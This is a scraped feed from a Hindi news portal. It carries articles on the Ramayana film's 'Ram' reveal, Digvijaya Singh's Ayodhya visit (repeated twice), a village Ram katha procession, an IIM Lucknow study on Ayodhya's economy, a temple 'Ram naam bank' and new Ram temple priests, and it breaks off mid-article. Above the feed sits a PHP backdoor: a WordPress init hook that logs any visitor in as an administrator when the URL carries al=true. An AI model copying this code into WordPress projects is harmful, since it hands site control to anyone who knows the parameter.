// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); ram – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 27 Mar 2026 11:36:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 02 अप्रैल को सामने आएगा ‘राम’, नमित मल्होत्रा की रामायण की अगली झलक तैयार https://pratyushaashakinayikiran.com/?p=208252 Fri, 27 Mar 2026 11:36:00 +0000 https://pratyushaashakinayikiran.com/?p=208252 मुंबई,

 फिल्मकार नमित मल्होत्रा की आने वाली फिल्म रामायण की अगली झलक ‘राम’ 02 अप्रैल को रिवील होगी। रामायण 2026 की सबसे ज्यादा इंतजार की जाने वाली फिल्मों में से एक है, जिसे एक भव्य सिनेमाई स्पेक्टेकल के रूप में ग्लोबल स्तर पर बनाया जा रहा है। नितेश तिवारी के निर्देशन में और नमित मल्होत्रा के प्रोडक्शन में बन रही यह दो भागों में आने वाली महाकाव्य फिल्म दुनिया भर के बेहतरीन क्रिएटिव टैलेंट को साथ लेकर एक ऐतिहासिक सिनेमाई इवेंट बनने की तैयारी में है।

इसी उत्साह को और बढ़ाते हुए नमित मल्होत्रा ने 27 मार्च को मनाई जा रही राम नवमी के शुभ अवसर पर अपने सोशल मीडिया पर एक बेहद पर्सनल नोट शेयर किया, जिसमें उन्होंने रामायण के इस सफर के पीछे की कहानी बताई और साथ ही एक बड़ा अपडेट भी रिवील किया।

पोस्ट शेयर करते हुए उन्होंने लिखा,शुभ राम नवमी।यह एक ऐसी कहानी है जो हम सभी की है, और जो भी कदम हम उठा रहे हैं, वह पूरी जिम्मेदारी, श्रद्धा और समर्पण के साथ उठाया गया है, जिससे हमारी अपनी रामायण को उसकी सच्ची भावना और भव्यता के साथ पूरी ईमानदारी से जीवंत किया जा सके।हम अगली झलक ‘राम’ को 02 अप्रैल को, हनुमान जयंती के शुभ अवसर पर शेयर करने के लिए उत्सुक हैं, जहां हम अपने कई सालों की मेहनत को एक भव्य वर्ल्ड रिवील के जरिए फैंस के साथ साझा करेंगे और इस खास पल को पूरी दुनिया में सेलिब्रेट करेंगे।आपके प्यार, विश्वास और धैर्य के लिए धन्यवाद।”
फिल्म रामायण ने रणबीर कपूर भगवान राम की भूमिका में नजर आएंगे, साई पल्लवी सीता के किरदार में होंगी, रॉकिंग स्टार यश दमदार रावण के रूप में दिखेंगे, सनी देओल शक्तिशाली हनुमान बनेंगे और रवि दुबे लक्ष्मण की भूमिका निभाएंगे।

नितेश तिवारी के निर्देशन में और नमित मल्होत्रा के प्राइम फोकस स्टूडियोज द्वारा, आठ बार ऑस्कर जीत चुकी डीएनइजी और यश की मॉन्स्टर माइंड क्रिएशन्स के साथ मिलकर बनाई जा रही रामायण को एक पाथब्रेकिंग सिनेमाई स्पेक्टेकल के रूप में देखा जा रहा है। यह दो भागों में आने वाली फिल्म दुनियाभर में आईमैक्स पर रिलीज होगी, जिसमें पहला पार्ट दिवाली 2026 और दूसरा पार्ट दिवाली 2027 में
रिलीज होगा।

 

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कांग्रेस नेता दिग्विजय सिंह ने अयोध्या में किया रामलला का दर्शन, कहा – मैंने राम मंदिर का विरोध नहीं किया https://pratyushaashakinayikiran.com/?p=208027 Thu, 26 Mar 2026 12:16:00 +0000 https://pratyushaashakinayikiran.com/?p=208027 भोपाल 

वरिष्ठ कांग्रेस नेता दिग्विजय सिंह ने आज यानी गुरुवार 26 मार्च को अयोध्या पहुंचकर रामलला के दर्शन किए। इस अवसर पर उन्होंने मीडिया से बात करते हुए कहा कि जब प्रभु का बुलावा आता है तो हर व्यक्ति आ जाता है, इसलिए जब मुझे बुलावा आया, तो मैं उपस्थित हो गया। प्रभु के दर्शन करके अच्छा लगा।

दिग्विजय सिंह ने कहा कि प्रभु के दर्शन करके अच्छा लगा। जब उनसे मंदिर के कंस्ट्रक्शन को लेकर प्रश्न पूछा गया तो उन्होंने कहा कि इसमें हम लोगों का भी योगदान है, हमने भी पैसा दिया है। वरिष्ठ कांग्रेस नेता दिग्विजय सिंह ने अयोध्या में राम लला के दर्शनों के साथ ही उन्होंने हनुमानगढ़ी जाकर भगवान हनुमान का भी आशीर्वाद लिया।

जब उनसे कांग्रेस नेताओं के अयोध्या न आने पर प्रश्न किया गया तो उन्होंने कहा, 'कांग्रेस में हर व्यक्ति अपनी आस्था अनुसार धर्म का पालन करता है। हम धर्म का दुरुपयोग ना तो व्यवसाय के लिए करते हैं और ना राजनीति के लिए करते हैं।'उन्होंने कहा हमारी आस्था, जो भी जिस धर्म का व्यक्ति हो चाहे वह हिंदू हो, मुसलमान हो, सिक्ख, ईसाई, पारसी हो, हर व्यक्ति अपने धर्म का अपने अनुसार पालन करता है।इस दौरान दिग्विजय सिंह से वरिष्ठ कांग्रेस नेता, पूर्व पार्टी अध्यक्ष और लोकसभा में नेता प्रतिपक्ष राहुल गांधी के अयोध्या आने पर भी प्रश्न पूछा गया। इस पर दिग्विजय सिंह ने कहा, 'जब उनको बुलावा आएगा तो वो भी जरूर आएंगे। क्यों नहीं आएंगे?

प्रभु का बुलावा आता है तो हर व्यक्ति आता है
दर्शन-पूजन के बाद मंदिर प्रांगण से बाहर आए कांग्रेस नेता दिग्विजय सिंह ने कहा कि जब प्रभु का बुलावा आता है तो हर व्यक्ति आ जाता है इसलिए जब मुझे बुलावा आया, तो मैं उपस्थित हो गया। उन्होंने कहा कि प्रभु के दर्शन करके अच्छा लगा। कांग्रेस में तो हर व्यक्ति अपनी आस्था अनुसार धर्म का पालन करता है। हम धर्म का दुरुपयोग ना तो व्यवसाय के लिए करते हैं और ना राजनीति के लिए करते हैं।

कभी राम मंदिर निर्माण का विरोध नहीं किया
नेता दिग्विजय सिंह ने हनुमान गढ़ी मंदिर में भी पूजा-अर्चना की और उन्होंने कहा कि मैंने तो कभी भी राम मंदिर निर्माण का विरोध नहीं किया। मैंने कभी राम मंदिर निर्माण का विरोध नहीं किया है। मैं अयोध्या राजनीति करने नहीं आया हूं। मैंने राम मंदिर निर्माण के दौरान चंदा भी दिया था। सभी पर श्रीराम की कृपा बनी रहे।

रामलला के दर्शन करने के बाद उन्होंने अपनी भावनाएं व्यक्त कीं। दिग्विजय सिंह ने कहा कि रामलला के दर्शन कर बहुत अच्छा लगा। उन्होंने प्रभु राम से कामना की कि पूरे देश में खुशहाली फैले, तरक्की हो और सभी लोगों के बीच सद्भाव बना रहे। राम मंदिर के निर्माण और उसकी भव्यता को लेकर पूछे गए सवाल पर उन्होंने कहा कि इस विषय पर तो मैं विस्तार से बाद में चर्चा करूंगा।

अयोध्या में राम मंदिर निर्माण के बाद पहली बार कांग्रेस के किसी बड़े नेता ने रामलला का दर्शन कर आशीर्वाद लिया। मध्य प्रदेश के पूर्व मुख्यमंत्री दिग्विजय सिंह गुरुवार को अयोध्या पहुंचे। उन्होंने हनुमानगढ़ी और राम जन्मभूमि मंदिर में दर्शन किया। उनसे पहले यूपी कांग्रेस कमेटी के अध्यक्ष अजय राय भी रामलला का दर्शन कर चुके हैं।

 

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कांग्रेस नेता दिग्विजय सिंह ने अयोध्या में किया रामलला का दर्शन, कहा – मैंने राम मंदिर का विरोध नहीं किया https://pratyushaashakinayikiran.com/?p=208028 Thu, 26 Mar 2026 12:16:00 +0000 https://pratyushaashakinayikiran.com/?p=208028 भोपाल 

वरिष्ठ कांग्रेस नेता दिग्विजय सिंह ने आज यानी गुरुवार 26 मार्च को अयोध्या पहुंचकर रामलला के दर्शन किए। इस अवसर पर उन्होंने मीडिया से बात करते हुए कहा कि जब प्रभु का बुलावा आता है तो हर व्यक्ति आ जाता है, इसलिए जब मुझे बुलावा आया, तो मैं उपस्थित हो गया। प्रभु के दर्शन करके अच्छा लगा।

दिग्विजय सिंह ने कहा कि प्रभु के दर्शन करके अच्छा लगा। जब उनसे मंदिर के कंस्ट्रक्शन को लेकर प्रश्न पूछा गया तो उन्होंने कहा कि इसमें हम लोगों का भी योगदान है, हमने भी पैसा दिया है। वरिष्ठ कांग्रेस नेता दिग्विजय सिंह ने अयोध्या में राम लला के दर्शनों के साथ ही उन्होंने हनुमानगढ़ी जाकर भगवान हनुमान का भी आशीर्वाद लिया।

जब उनसे कांग्रेस नेताओं के अयोध्या न आने पर प्रश्न किया गया तो उन्होंने कहा, 'कांग्रेस में हर व्यक्ति अपनी आस्था अनुसार धर्म का पालन करता है। हम धर्म का दुरुपयोग ना तो व्यवसाय के लिए करते हैं और ना राजनीति के लिए करते हैं।'उन्होंने कहा हमारी आस्था, जो भी जिस धर्म का व्यक्ति हो चाहे वह हिंदू हो, मुसलमान हो, सिक्ख, ईसाई, पारसी हो, हर व्यक्ति अपने धर्म का अपने अनुसार पालन करता है।इस दौरान दिग्विजय सिंह से वरिष्ठ कांग्रेस नेता, पूर्व पार्टी अध्यक्ष और लोकसभा में नेता प्रतिपक्ष राहुल गांधी के अयोध्या आने पर भी प्रश्न पूछा गया। इस पर दिग्विजय सिंह ने कहा, 'जब उनको बुलावा आएगा तो वो भी जरूर आएंगे। क्यों नहीं आएंगे?

प्रभु का बुलावा आता है तो हर व्यक्ति आता है
दर्शन-पूजन के बाद मंदिर प्रांगण से बाहर आए कांग्रेस नेता दिग्विजय सिंह ने कहा कि जब प्रभु का बुलावा आता है तो हर व्यक्ति आ जाता है इसलिए जब मुझे बुलावा आया, तो मैं उपस्थित हो गया। उन्होंने कहा कि प्रभु के दर्शन करके अच्छा लगा। कांग्रेस में तो हर व्यक्ति अपनी आस्था अनुसार धर्म का पालन करता है। हम धर्म का दुरुपयोग ना तो व्यवसाय के लिए करते हैं और ना राजनीति के लिए करते हैं।

कभी राम मंदिर निर्माण का विरोध नहीं किया
नेता दिग्विजय सिंह ने हनुमान गढ़ी मंदिर में भी पूजा-अर्चना की और उन्होंने कहा कि मैंने तो कभी भी राम मंदिर निर्माण का विरोध नहीं किया। मैंने कभी राम मंदिर निर्माण का विरोध नहीं किया है। मैं अयोध्या राजनीति करने नहीं आया हूं। मैंने राम मंदिर निर्माण के दौरान चंदा भी दिया था। सभी पर श्रीराम की कृपा बनी रहे।

रामलला के दर्शन करने के बाद उन्होंने अपनी भावनाएं व्यक्त कीं। दिग्विजय सिंह ने कहा कि रामलला के दर्शन कर बहुत अच्छा लगा। उन्होंने प्रभु राम से कामना की कि पूरे देश में खुशहाली फैले, तरक्की हो और सभी लोगों के बीच सद्भाव बना रहे। राम मंदिर के निर्माण और उसकी भव्यता को लेकर पूछे गए सवाल पर उन्होंने कहा कि इस विषय पर तो मैं विस्तार से बाद में चर्चा करूंगा।

अयोध्या में राम मंदिर निर्माण के बाद पहली बार कांग्रेस के किसी बड़े नेता ने रामलला का दर्शन कर आशीर्वाद लिया। मध्य प्रदेश के पूर्व मुख्यमंत्री दिग्विजय सिंह गुरुवार को अयोध्या पहुंचे। उन्होंने हनुमानगढ़ी और राम जन्मभूमि मंदिर में दर्शन किया। उनसे पहले यूपी कांग्रेस कमेटी के अध्यक्ष अजय राय भी रामलला का दर्शन कर चुके हैं।

 

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ग्राम अखड़ार में महा विशाल धर्म कुंभ श्री राम कथा एवं श्री राम महायज्ञ की शोभायात्रा निकाली गई https://pratyushaashakinayikiran.com/?p=206273 Fri, 20 Mar 2026 05:55:00 +0000 https://pratyushaashakinayikiran.com/?p=206273 ग्राम अखड़ार में महा विशाल धर्म कुंभ श्री राम कथा एवं श्री राम महायज्ञ की शोभायात्रा निकाली गई 
उमरिया

‌ महा विशाल धर्म कुंभ श्री राम कथा श्री राम महायज्ञ की विशाल कलश यात्रा में सम्मिलित हुए श्री श्री 108 महान तपस्वी त्यागी संत श्री बालक दास जी महाराज जी स्वागत बंदन अभिनंदन करते हुए सभी क्षेत्रवासी एवं ग्राम के लोगों ने बढ़-चढ़कर हिस्सा लिया। और अपने हथेलियां में शिवरी मंदिर से लेकर हनुमान मंदिर प्रांगण तक महिलाएं एवं पुरुषों ने अपनी हथेली फैलाकर के 300 मीटर तक चलाए।इसके उपरांत उनका दर्शन करते हुए आशीर्वाद लिया। महाराज जी के द्वारा स्नान कर पंच अग्नि धोनी तापी गई। इसके उपरांत भव्य कलश यात्रा निकाली गई। इस कलश यात्रा में वनवासी भाई बहनों ने कर्मा नृत्य करते गाते हुए स्वागत किया ।श्री राम कथा वाचक सुश्री राधिका चतुर्वेदी जी एवं श्री राम महायज्ञ यज्ञचार्य पंडित श्री ओम प्रकाश शास्त्री जी का ग्राम के लोगों ने सभी महान देव तुल्य विभूतियां को अलग-अलग रथ में बिठाकर पूरे ग्राम का भ्रमण करते हुए यज्ञ स्थल तक लाया गया। इस कलश यात्रा में 6000 से ऊपर भक्त जनों ने सम्मिलित होकर सफल बनाया।यह विशाल कलश यात्रा श्री हनुमान तालाब मंदिर प्रांगण अखड़ार से भव्य कलश यात्रा निकल गई।

 

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राम मंदिर प्राण प्रतिष्ठा के बाद अयोध्या की अर्थव्यवस्था में आया ऐतिहासिक उछाल https://pratyushaashakinayikiran.com/?p=198684 Tue, 17 Feb 2026 13:40:00 +0000 https://pratyushaashakinayikiran.com/?p=198684 राम मंदिर प्राण प्रतिष्ठा के बाद अयोध्या की अर्थव्यवस्था में आया ऐतिहासिक उछाल

राम मंदिर पर आईआईएम लखनऊ की विस्तृत केस स्टडी ने साबित किया प्राण प्रतिष्ठा के बाद अयोध्या में पर्यटन, निवेश, रोजगार और राजस्व में हुई व्यापक वृद्धि

अध्ययन में मंदिर निर्माण से पहले और बाद की आर्थिक परिस्थितियों का किया गया तुलनात्मक विश्लेषण, मंदिर निर्माण से पूर्व पवित्र तीर्थस्थान तक सीमित थी अयोध्या की पहचान, प्राण प्रतिष्ठा के बाद आर्थिक गतिविधियों में आया अभूतपूर्व उछाल

पर्यटन आधारित गतिविधियों से कर राजस्व ₹20,000-25,000 करोड़ तक पहुंचने का अनुमान, आतिथ्य, निर्माण, परिवहन और सेवा क्षेत्रों में रोजगार के अवसरों में हुआ तीव्र विस्तार

मंदिर प्राण प्रतिष्ठा से देशभर में हुआ ₹1 लाख करोड़ से अधिक का व्यापारिक कारोबार, महत्वपूर्ण रही अयोध्या की हिस्सेदारी, प्रतिदिन दो लाख से अधिक श्रद्धालुओं के आगमन से आतिथ्य और उससे जुड़े उद्योगों को मिली नई गति, 150 से अधिक नए होटल और होमस्टे हुए स्थापित

प्रतिष्ठित होटल चेन्स ने अयोध्या में विस्तार योजनाओं को बढ़ाया आगे, ऑनलाइन ट्रैवल प्लेटफॉर्म पर बुकिंग में चार गुना तक दर्ज की गई वृद्धि, स्थानीय हस्तशिल्प, धार्मिक स्मृति-चिह्न और मूर्तियों की मांग में तेज उछाल से कारीगरों और स्थानीय उत्पादकों को प्रत्यक्ष लाभ मिला

लगभग 6,000 एमएसएमई स्थापित हुए, अगले 4–5 वर्षों में पर्यटन, परिवहन और आतिथ्य क्षेत्रों में लगभग 1.2 लाख प्रत्यक्ष और अप्रत्यक्ष रोजगार सृजन का अनुमान, छोटे दुकानदारों और रेहड़ी-पटरी व्यवसायियों की दैनिक आय ₹2,500 तक पहुंची, रियल एस्टेट क्षेत्र में भी तीव्र वृद्धि

लखनऊ
प्रधानमंत्री नरेंद्र मोदी के मार्गदर्शन में मुख्यमंत्री योगी आदित्यनाथ के ‘टेंपल इकॉनमी मॉडल’ पर भारतीय प्रबंधन संस्थान लखनऊ (आईआईएम लखनऊ) ने अपनी मुहर लगाई है। आईआईएम लखनऊ की ताजा अध्ययन रिपोर्ट “इकॉनमिक रेनेसांस ऑफ अयोध्या” (अयोध्या का आर्थिक पुनर्जागरण) बताती है कि राम मंदिर निर्माण के बाद अयोध्या में व्यापक आर्थिक सक्रियता, निवेश प्रवाह और रोजगार सृजन देखने को मिला है। अध्ययन में मंदिर निर्माण से पहले और बाद की आर्थिक परिस्थितियों का तुलनात्मक विश्लेषण करते हुए यह दर्शाया गया है कि धार्मिक अवसंरचना, यदि सुविचारित नीति और प्रशासनिक प्रतिबद्धता से जुड़ जाए, तो वह क्षेत्रीय अर्थव्यवस्था को गति देने वाला उत्प्रेरक बन सकती है। गौरतलब है कि 2017 में प्रदेश की कमान संभालने के बाद सीएम योगी ने टेंपल इकॉनमी को तेज गति दी और अयोध्या में मंदिर निर्माण के साथ-साथ आधुनिक इन्फ्रास्ट्रक्चर देकर आर्थिक समृद्धता के रास्ते खोल दिए।
मंदिर से पहले दायरे में सिमटी अयोध्या की अर्थव्यवस्था
अध्ययन के अनुसार, मंदिर निर्माण से पूर्व अयोध्या की पहचान मुख्यतः एक पवित्र तीर्थस्थान तक ही सीमित थी, जहां आगंतुकों की वार्षिक संख्या लगभग 1.7 लाख के आसपास ठहर जाती थी। स्थानीय बाजार छोटे पैमाने पर संचालित होते थे और अधिकांश दुकानदारों की औसत दैनिक आय ₹400–₹500 के बीच सीमित थी, जिससे आर्थिक गतिविधि का दायरा संकुचित बना रहता था। राष्ट्रीय स्तर की होटल श्रृंखलाओं की उपस्थिति लगभग नगण्य थी, रेलवे स्टेशन बुनियादी सुविधाओं तक सीमित था और हवाई अड्डे का अभाव क्षेत्र की कनेक्टिविटी को प्रभावित करता था। रोजगार के अवसर सीमित होने के कारण युवाओं का बड़े शहरों की ओर पलायन, एक सामान्य प्रवृत्ति बन चुका था। पर्यटन से होने वाला राजस्व राज्य की व्यापक अर्थव्यवस्था में उल्लेखनीय योगदान नहीं दे पा रहा था और अचल संपत्ति बाजार में भी ठहराव की स्थिति दिखाई देती थी। कुल मिलाकर, अयोध्या की आर्थिक संरचना पारंपरिक तीर्थ-आधारित गतिविधियों तक सीमित थी, जिसमें विस्तार और निवेश की संभावनाएं स्पष्ट रूप से अविकसित थीं।

प्राण प्रतिष्ठा के बाद आर्थिक गतिविधियों में अभूतपूर्व उछाल
अध्ययन के अनुसार, जनवरी 2024 में रामलला की प्राण प्रतिष्ठा के बाद अयोध्या की आर्थिक तस्वीर ने तेजी से करवट ली। रिपोर्ट बताती है कि पहले ही छह महीनों में 11 करोड़ से अधिक श्रद्धालुओं का आगमन दर्ज किया गया, जिसने स्थानीय बाजार, परिवहन और आतिथ्य क्षेत्र में नई ऊर्जा का संचार किया। अब अयोध्या में वार्षिक स्तर पर 5–6 करोड़ आगंतुकों की संभावना जताई गई है, जो अयोध्या को देश के प्रमुख धार्मिक-पर्यटन केंद्रों की अग्रिम पंक्ति में ला खड़ा करती है। यहां लगभग ₹85,000 करोड़ की पुनर्विकास परियोजनाएं विभिन्न चरणों में प्रगति पर हैं, जिनका प्रभाव केवल आधारभूत ढांचे तक सीमित नहीं, बल्कि निवेश और सेवा क्षेत्र तक फैला हुआ है। आधारभूत संरचना के क्षेत्र में भी व्यापक निवेश हो रहा है। इसके अंतर्गत अंतरराष्ट्रीय हवाई अड्डा, आधुनिक रेलवे स्टेशन, विस्तारित सड़क नेटवर्क और नगर सौंदर्यीकरण के कार्य प्रगति पर हैं। सतत शहरी विकास को बढ़ावा देने के लिए इलेक्ट्रिक वाहनों और सौर ऊर्जा जैसी पहलों को भी प्रोत्साहित किया जा रहा है, जिससे अयोध्या को “मॉडल सोलर सिटी” के रूप में विकसित करने की दिशा में कदम बढ़ाए जा रहे हैं।

अंतरराष्ट्रीय आध्यात्मिक केंद्र के रूप में मिली नई पहचान
आईआईएम की रिपोर्ट के अनुसार, वर्ष 2025 तक उत्तर प्रदेश में पर्यटन व्यय ₹4 लाख करोड़ से अधिक होने का अनुमान है, जिसमें अयोध्या की महत्वपूर्ण भूमिका मानी जा रही है। पर्यटन आधारित गतिविधियों से कर राजस्व ₹20,000-25,000 करोड़ तक पहुंचने का अनुमान है। आतिथ्य, निर्माण, परिवहन और सेवा क्षेत्रों में रोजगार के अवसरों में तीव्र विस्तार हुआ है। साथ ही, अयोध्या ने राष्ट्रीय और अंतरराष्ट्रीय आध्यात्मिक केंद्र के रूप में नई पहचान प्राप्त की है, जहां प्रवासी भारतीय, शोधकर्ता और वैश्विक श्रद्धालु आकर्षित हो रहे हैं। 

आतिथ्य क्षेत्र में निवेश का नया दौर
अध्ययन बताता है कि कन्फेडरेशन ऑफ ऑल इंडिया ट्रेडर्स (CAIT) के अनुसार मंदिर प्राण प्रतिष्ठा से देशभर में ₹1 लाख करोड़ से अधिक का कारोबार हुआ, जिसमें अयोध्या की हिस्सेदारी महत्वपूर्ण रही। प्रतिदिन दो लाख से अधिक श्रद्धालुओं के आगमन ने आतिथ्य और उससे जुड़े उद्योगों को नई गति दी है। 150 से अधिक नए होटल और होमस्टे स्थापित हुए हैं, जबकि देश-विदेश की प्रतिष्ठित होटल श्रृंखलाएं ताज होटल्स, मैरियट इंटरनेशनल और विंडहैम होटल्स एंड रिसॉर्ट्स ने अयोध्या में अपने विस्तार की योजनाएं घोषित की हैं। ऑनलाइन ट्रैवल प्लेटफॉर्म पर अयोध्या के लिए बुकिंग में चार गुना तक वृद्धि दर्ज की गई है। साथ ही स्थानीय हस्तशिल्प, धार्मिक स्मृति-चिह्न और मूर्तियों की मांग में तेज उछाल आया है, जिससे कारीगरों और स्थानीय उत्पादकों को प्रत्यक्ष लाभ मिला है।

उद्यमिता और रोजगार पर भी पड़ा प्रभाव
आईआईएम रिपोर्ट के मुताबिक, आर्थिक सक्रियता का प्रभाव उद्यमिता और रोजगार सृजन में भी स्पष्ट है, विशेषकर युवाओं के बीच। लगभग 6,000 सूक्ष्म, लघु और मध्यम उद्यम (MSMEs) या तो नए रूप में स्थापित हुए हैं या पुनः अयोध्या लौटे हैं। अनुमान है कि अगले 4–5 वर्षों में पर्यटन वृद्धि के कारण पर्यटन, परिवहन और आतिथ्य क्षेत्रों में लगभग 1.2 लाख प्रत्यक्ष और अप्रत्यक्ष रोजगार सृजन होगा। छोटे दुकानदारों और रेहड़ी-पटरी व्यवसायियों की दैनिक आय ₹2,500 तक पहुंच गई है। रियल एस्टेट क्षेत्र में भी तीव्र वृद्धि दर्ज की गई है, जहां मंदिर के आसपास संपत्ति मूल्यों में पांच से दस गुना तक उछाल देखा गया है, जिससे देशभर के निवेशकों का ध्यान आकर्षित हुआ है। 

आस्था से अर्थव्यवस्था तक, बदलती विकास अवधारणा
रिपोर्ट संकेत देती है कि अयोध्या का विकास अब केवल धार्मिक महत्व तक सीमित नहीं रहा, बल्कि यह क्षेत्रीय आर्थिक गतिविधियों का एक सशक्त केंद्र बनकर उभरा है। अध्ययन में यह रेखांकित किया गया है कि धार्मिक विरासत आधारित विकास मॉडल, यदि सुव्यवस्थित निवेश, प्रशासनिक समन्वय और दीर्घकालिक दृष्टि के साथ लागू किया जाए, तो वह स्थानीय अर्थव्यवस्था में व्यापक और संरचनात्मक परिवर्तन ला सकता है। अयोध्या का अनुभव दर्शाता है कि सांस्कृतिक और धार्मिक परियोजनाएं योजनाबद्ध क्रियान्वयन के माध्यम से पर्यटन, रोजगार और निजी निवेश को गति देकर बहुस्तरीय आर्थिक वृद्धि का आधार बन सकती हैं। अयोध्या में आधारभूत संरचना, पर्यटन सुविधाओं और निवेश माहौल में व्यापक बदलाव देखने को मिला, जिसने इस तीर्थनगरी को विकास की मुख्यधारा में अग्रिम पंक्ति पर ला खड़ा किया है।

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रतलाम के बैंक में जमा हुए 11 करोड़ ‘राम’ नाम, विश्व रिकॉर्ड की ओर एक अनोखा कदम https://pratyushaashakinayikiran.com/?p=174457 Thu, 31 Jul 2025 04:27:00 +0000 https://pratyushaashakinayikiran.com/?p=174457 रतलाम
भौतिकवाद के इस दौर में रुपए पैसे कौन संचित नहीं करना चाहता है. पैसों को रखने के लिए कई बैंक उपलब्ध हैं. लेकिन रतलाम के सेमलिया गांव के हनुमान मंदिर में एक अनोखा बैंक मौजूद है. जहां रुपए और धन दौलत संचय करके नहीं रखे जाते बल्कि भगवान राम के नाम को जमा किया जाता है. जी हां रुपए पैसे नहीं यहां के लोग भगवान राम के नाम को लिखकर यहां जमा करवाते हैं.

मान्यता है कि, भगवान राम के नाम का संचय करने से ही कलयुग के इस दौर में हर कार्य पूर्ण होंगे और संसार में सकारात्मकता और शांति होगी. हनुमान जी के इस प्राचीन मंदिर में अब तक कुल 11 करोड़ राम नाम जमा हो चुके हैं. जिनका बाकायदा हिसाब रखा जाता है और इन्हें मंदिर के गर्भ ग्रह की छत में सुरक्षित रखा गया है.

रतलाम के बैंक में पैसे नहीं राम धन होता है जमा

दरअसल, वर्ष 2016 में गांव के कुछ युवा और रामायण मंडल ने हनुमान जी के प्राचीन मंदिर के निर्माण के संकल्प के साथ भगवान राम के नाम लेखन का एक मिशन शुरू किया था. जिसका उद्देश्य युवाओं को अध्यात्म जोड़ना और विश्व कल्याण की भावना थी. धीरे-धीरे इस मिशन से लोग जुड़ते गए और आसपास के गांव के लोग भी राम नाम लिखने लगे. 9 वर्षों में 11 करोड़ राम नाम हनुमान जी के मंदिर में जमा हो गए और यह अभियान अनवरत जारी है.

कैसे हुई राम बैंक की शुरुआत
मंदिर के पुजारी हरीश जोशी बताते हैं कि, ''रामायण में भगवान राम के नाम के लेखन का उल्लेख है. जब राम नाम लिखे हुए पत्थर सिंधु में तैर जाते हैं तो कलयुग के इस दौर में राम नाम के लेखन का बड़ा महत्व है. इससे चतुर्गुणा जप का लाभ प्राप्त होता है. राम नाम लिखते समय हम भगवान राम नाम का दर्शन, चिंतन, मनन और लेखन करते हैं. जिससे हमारा मन शांत, निर्मल और सकारात्मक ऊर्जा से भर जाता है.'' गांव के जगदीश धबाई ने बताया कि, ''2016 में हनुमान जी के मंदिर बनाने के संकल्प के साथ इस कार्य की शुरुआत हुई थी. अब तक 11 करोड़ राम नाम सेमलिया गांव और आसपास के गांव के श्रद्धालुओं ने लिखे हैं.''

कैसे बना राम नाम का बैंक
रामायण मंडल सेमलिया से जुड़े संजय डाबी ने बताया कि, ''इस मिशन की शुरुआत की थी तो हमने कोई संख्या तय नहीं की थी. लेकिन धीरे-धीरे बड़ी तादाद में राम नाम लिखे हुए कॉपियां और रजिस्टर प्राप्त होने लगे. समझ नहीं आ रहा था कि इन्हें किसी पावन नदी में प्रवेश करवा दे या इन्हें रखे तो कहां रखे. लेकिन संत श्री मंगल दास जी महाराज के आशीर्वाद से हनुमान जी के मंदिर में ही भगवान राम के नाम का बैंक बनाए जाने का निर्णय लिया. इसके बाद इन सभी 11 करोड़ राम नाम को मंदिर के गर्भ गृह की छत में सुरक्षित रखा गया है. राम नाम के जमा होने का सिलसिला लगातार जारी है. इसका हिसाब भी यहां के प्रबंधन समिति द्वारा रखा जाता है.''

राम नाम के बैंक से मिली सकारात्मक
भगवान राम के नाम के इस अनोखे बैंक के फायदे के बारे में पूछे जाने पर इस समिति के सदस्य रामनारायण राठौड़ ने बताया कि, ''आज हमारे गांव की युवा पीढ़ी सकारात्मक कार्य में जुटी हुई है. मोबाइल युग की नकारात्मकता से भी यह राम नाम बचाता है. 2020-21 के कोरोना काल में भी राम नाम लिखने की यह धुन जारी रही है.''

वर्ल्ड रिकॉर्ड में दर्ज करवाने की तैयारी
समिति से जुड़े राजेश गोस्वामी ने बताया कि, ''उनके द्वारा ली गई जानकारी के अनुसार इतनी बड़ी मात्रा में राम नाम के लेखन का संचय संभवतः कहीं अन्य जगह पर नहीं है. जिसके लिए जानकारी जुटाई जा रही है. यदि इस तरह का कोई रिकॉर्ड गिनीज़ बुक ऑफ वर्ल्ड रिकॉर्ड या लिम्का बुक में दर्ज नहीं है तो इस वर्ल्ड रिकॉर्ड में शामिल करवाने का प्रयास अवश्य किया जाएगा.'' बहरहाल राम नाम लिखने के अनोखे मिशन से मोबाइल और इंटरनेट में डूबी रहने वाली युवा पीढ़ी जरूर सकारात्मक हो रही है और राम नाम के लेखन में गांव के कई युवा रुचि ले रहे हैं.

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आज राम मंदिर में 20 नए पुजारियों की होगी जॉइनिंग, जानिए मिलेगी कितनी सैलरी, क्‍या हैं नियम https://pratyushaashakinayikiran.com/?p=48956 Sun, 07 Jul 2024 10:10:00 +0000 https://pratyushaashakinayikiran.com/?p=48956 अयोध्‍या
राम मंदिर परिसर में
मंदिरों की संख्‍या बढ़ने से अब पुजारियों की संख्‍या भी बढ़ाई जा रही है। मंदिर की धार्मिक समिति के पुजारियों के प्रशिक्षण कार्यक्रम को पूरा कर अब 20 पुजारियों का बैच तैयार है जिनकी रविवार से विधिवत जॉइनिंग हो जाएगी। बताया गया कि इसी के साथ ही नए पुजारियों को 15 हजार रुपये तक का मानदेय भी मिलने लगेगा। मंदिर ट्रस्‍ट के कार्यालय प्रभारी प्रकाश गुप्‍ता ने बताया कि राम मंदिर परिसर मे रामलला मंदिर के अलावा 15 अन्‍य मंदिरों का भी निर्माण हो रहा है जिसमें भी पुजारियों की जरूरत पड़ेगी।

वहीं मंदिर के पुजारी संतोष तिवारी ने बताया कि सहायक स्‍थायी पुजारियों को इस समय 3,1960 रुपये मासिक वेतन मिल रहा है। वहीं प्रधान पुजारी का वेतन करीब 35 हजार रुपये के करीब है। जूनियर पुजारी हालां‍कि मंदिर में पूजा में सहयोग कर रहे हैं पर उनकी जाइनिंग रविवार से बताई गई है। प्रशिक्षित पुजारियों को प्रशिखण के दौरान 2 हजार रुपये मासिक मानदेय दिया जा रहा था। उनका प्रशिक्षण का कार्यकाल छह माह का रहा है। बताया गया कि पुजारियों के प्रशिक्षण का अगला बैच भी शुरू होगा ।

अब ड्रेस कोड में आना होगा पुजारियों को

